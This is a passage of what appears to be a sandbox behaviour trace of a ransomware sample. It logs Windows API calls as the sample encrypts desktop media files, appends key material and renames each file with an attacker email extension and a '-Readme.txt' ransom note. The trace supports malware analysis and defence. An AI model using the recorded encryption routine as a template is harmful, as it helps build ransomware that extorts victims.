"c:\\users\\fd1hvy\\desktop\\gr_f.avi")) returned 0x20 [0070.035] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi", dwFileAttributes=0x20) returned 1 [0070.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\gr_f.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0070.036] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x12fbf84c | out: lpFileSize=0x12fbf84c*=47863) returned 1 [0070.036] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0xbaf3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.036] ReadFile (in: hFile=0x774, lpBuffer=0x12fbf820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x12fbf81c, lpOverlapped=0x0 | out: lpBuffer=0x12fbf820*, lpNumberOfBytesRead=0x12fbf81c*=0x4, lpOverlapped=0x0) returned 1 [0070.037] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.037] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.037] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0070.037] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be60 [0070.037] NtQuerySystemTime (in: CurrentTime=0x12fbf7f8 | out: CurrentTime=0x12fbf7f8*=132121176279316585) returned 0x0 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xa61edd3b [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xac472679 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xf2a3b3cd [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xe888f2c0 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0x98dc9e1 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0x8d10146f [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xee2c8e04 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0x76ae020f [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0x5fcf6388 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0x8e0a79a2 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xf40bcf5f [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xce9a36d4 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0x96b3c40c [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xf15a83bc [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0x70497c2f [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xbe81033e [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xeffb0196 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xf8013405 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0x3e2015d3 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xa586d5f3 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0x7653ea50 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0x6e758e96 [0070.037] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xb375b5e8 [0070.038] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xe365d9f1 [0070.038] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xe2a255cc [0070.038] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xac6a9211 [0070.038] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xafbfc72 [0070.038] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xb8143a93 [0070.038] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xd88dcbe3 [0070.038] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xe50850c8 [0070.038] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xef1b0352 [0070.038] RtlRandom (in: Seed=0x12fbf804 | out: Seed=0x12fbf804) returned 0xa3918200 [0070.050] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.050] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x12fbf7d0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x12fbf7d0*=0x4096, lpOverlapped=0x0) returned 1 [0070.050] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.051] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0070.051] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0070.051] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bed8 [0070.051] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bed8) returned 1 [0070.051] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.051] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.051] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bed8 [0070.051] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bed8) returned 1 [0070.051] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0070.051] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0070.051] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x12fbf7d0, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x12fbf7d0*=0x4096, lpOverlapped=0x0) returned 1 [0070.052] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.052] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0xbaf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.052] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12fbf808, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x12fbf808*=0x20, lpOverlapped=0x0) returned 1 [0070.052] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0070.052] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.052] WriteFile (in: hFile=0x774, lpBuffer=0x342beb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12fbf81c, lpOverlapped=0x0 | out: lpBuffer=0x342beb0*, lpNumberOfBytesWritten=0x12fbf81c*=0x8, lpOverlapped=0x0) returned 1 [0070.052] WriteFile (in: hFile=0x774, lpBuffer=0x12fbf834*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12fbf81c, lpOverlapped=0x0 | out: lpBuffer=0x12fbf834*, lpNumberOfBytesWritten=0x12fbf81c*=0x4, lpOverlapped=0x0) returned 1 [0070.052] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12fbf81c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x12fbf81c*=0x4, lpOverlapped=0x0) returned 1 [0070.052] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12fbf81c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x12fbf81c*=0x6c, lpOverlapped=0x0) returned 1 [0070.052] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12fbf81c, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x12fbf81c*=0x20, lpOverlapped=0x0) returned 1 [0070.052] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12fbf81c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x12fbf81c*=0x4, lpOverlapped=0x0) returned 1 [0070.052] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0070.052] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342be88) returned 1 [0070.053] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342beb0) returned 1 [0070.053] CloseHandle (hObject=0x774) returned 1 [0070.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e28d0 [0070.923] wcscpy (in: _Dest=0x33e28d0, _Source="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi") returned="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi" [0070.923] wcscat (in: _Dest=0x33e28d0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731" [0070.923] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\gr_f.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.968] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.968] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e28d0) returned 1 [0070.968] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\gr_f.avi", dwFileAttributes=0x20) returned 0 [0070.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.968] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.968] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.968] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.969] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.969] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481618) returned 1 [0070.969] RtlExitUserThread (Status=0x1) Thread: id = 453 os_tid = 0xb80 [0070.055] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\hzajmydjsa6dgabz5sdr.jpg")) returned 0x20 [0070.055] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg", dwFileAttributes=0x20) returned 1 [0070.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\hzajmydjsa6dgabz5sdr.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0070.056] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x1303fbe8 | out: lpFileSize=0x1303fbe8*=31370) returned 1 [0070.056] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x7a86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.056] ReadFile (in: hFile=0x774, lpBuffer=0x1303fbbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1303fbb8, lpOverlapped=0x0 | out: lpBuffer=0x1303fbbc*, lpNumberOfBytesRead=0x1303fbb8*=0x4, lpOverlapped=0x0) returned 1 [0070.056] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.056] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.056] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0070.056] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342be88 [0070.056] NtQuerySystemTime (in: CurrentTime=0x1303fb94 | out: CurrentTime=0x1303fb94*=132121176279472849) returned 0x0 [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xbc60d6c1 [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xe351b21f [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x950853b2 [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xe5521643 [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x5d3ff8b5 [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x1b74bace [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xf6e92321 [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xdf26e545 [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x7b36d66f [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x75813253 [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xe6aba2a7 [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xcc1d167e [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xac850327 [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x953299fe [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x1a3a3abf [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xfb28c2ce [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xf5991986 [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xd4fd461a [0070.056] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x3c03b72b [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x24ae4847 [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x44cffc7 [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x125cafad [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xde58f13d [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x98e9e9a3 [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xce5ef8d6 [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x8208eec4 [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x7bda5bd [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x1673c57a [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x398bc249 [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x9e006964 [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0xe02238c6 [0070.057] RtlRandom (in: Seed=0x1303fba0 | out: Seed=0x1303fba0) returned 0x8ab4892f [0070.067] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.067] ReadFile (in: hFile=0x774, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1303fb6c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1303fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0070.068] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0070.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0070.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.068] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0070.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0070.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.068] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c1a8 [0070.068] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c1a8) returned 1 [0070.069] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0070.069] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0070.069] WriteFile (in: hFile=0x774, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1303fb6c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1303fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0070.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0070.070] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x7a8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.070] WriteFile (in: hFile=0x774, lpBuffer=0x342bc08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1303fba4, lpOverlapped=0x0 | out: lpBuffer=0x342bc08*, lpNumberOfBytesWritten=0x1303fba4*=0x20, lpOverlapped=0x0) returned 1 [0070.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bc08) returned 1 [0070.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.070] WriteFile (in: hFile=0x774, lpBuffer=0x342bed8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1303fbb8, lpOverlapped=0x0 | out: lpBuffer=0x342bed8*, lpNumberOfBytesWritten=0x1303fbb8*=0x8, lpOverlapped=0x0) returned 1 [0070.070] WriteFile (in: hFile=0x774, lpBuffer=0x1303fbd0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1303fbb8, lpOverlapped=0x0 | out: lpBuffer=0x1303fbd0*, lpNumberOfBytesWritten=0x1303fbb8*=0x4, lpOverlapped=0x0) returned 1 [0070.070] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1303fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1303fbb8*=0x4, lpOverlapped=0x0) returned 1 [0070.070] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1303fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1303fbb8*=0x6c, lpOverlapped=0x0) returned 1 [0070.070] WriteFile (in: hFile=0x774, lpBuffer=0x342bb18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1303fbb8, lpOverlapped=0x0 | out: lpBuffer=0x342bb18*, lpNumberOfBytesWritten=0x1303fbb8*=0x20, lpOverlapped=0x0) returned 1 [0070.070] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1303fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1303fbb8*=0x4, lpOverlapped=0x0) returned 1 [0070.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bb18) returned 1 [0070.070] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342beb0) returned 1 [0070.071] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342bed8) returned 1 [0070.071] CloseHandle (hObject=0x774) returned 1 [0070.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33cf4d8 [0070.923] wcscpy (in: _Dest=0x33cf4d8, _Source="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg" [0070.923] wcscat (in: _Dest=0x33cf4d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731" [0070.923] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\hzajmydjsa6dgabz5sdr.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\hzajmydjsa6dgabz5sdr.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.967] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cf4d8) returned 1 [0070.967] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\hZajMydJsA6dgABz5sdr.jpg", dwFileAttributes=0x20) returned 0 [0070.967] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0070.967] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.967] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.967] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0070.967] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e5e0) returned 1 [0070.967] RtlExitUserThread (Status=0x1) Thread: id = 454 os_tid = 0xed0 [0070.073] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\iluu-ub.mp4")) returned 0x20 [0070.073] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4", dwFileAttributes=0x20) returned 1 [0070.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ilUU-uB.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\iluu-ub.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0070.074] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x130bfde8 | out: lpFileSize=0x130bfde8*=71862) returned 1 [0070.074] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x118b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.074] ReadFile (in: hFile=0x774, lpBuffer=0x130bfdbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x130bfdb8, lpOverlapped=0x0 | out: lpBuffer=0x130bfdbc*, lpNumberOfBytesRead=0x130bfdb8*=0x4, lpOverlapped=0x0) returned 1 [0070.074] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bc08 [0070.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342bb18 [0070.074] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342beb0 [0070.074] NtQuerySystemTime (in: CurrentTime=0x130bfd94 | out: CurrentTime=0x130bfd94*=132121176279629228) returned 0x0 [0070.074] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xf7a0e7d3 [0070.074] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x164d072a [0070.074] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xf740e6c9 [0070.074] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xeb6880e2 [0070.074] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x770d335a [0070.074] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x78f9ede2 [0070.074] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0xed408c79 [0070.074] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x8646874f [0070.074] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x34d6ed7b [0070.074] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x8a8214d9 [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x2a9886a4 [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 0x1bd13ab2 [0070.075] RtlRandom (in: Seed=0x130bfda0 | out: Seed=0x130bfda0) returned 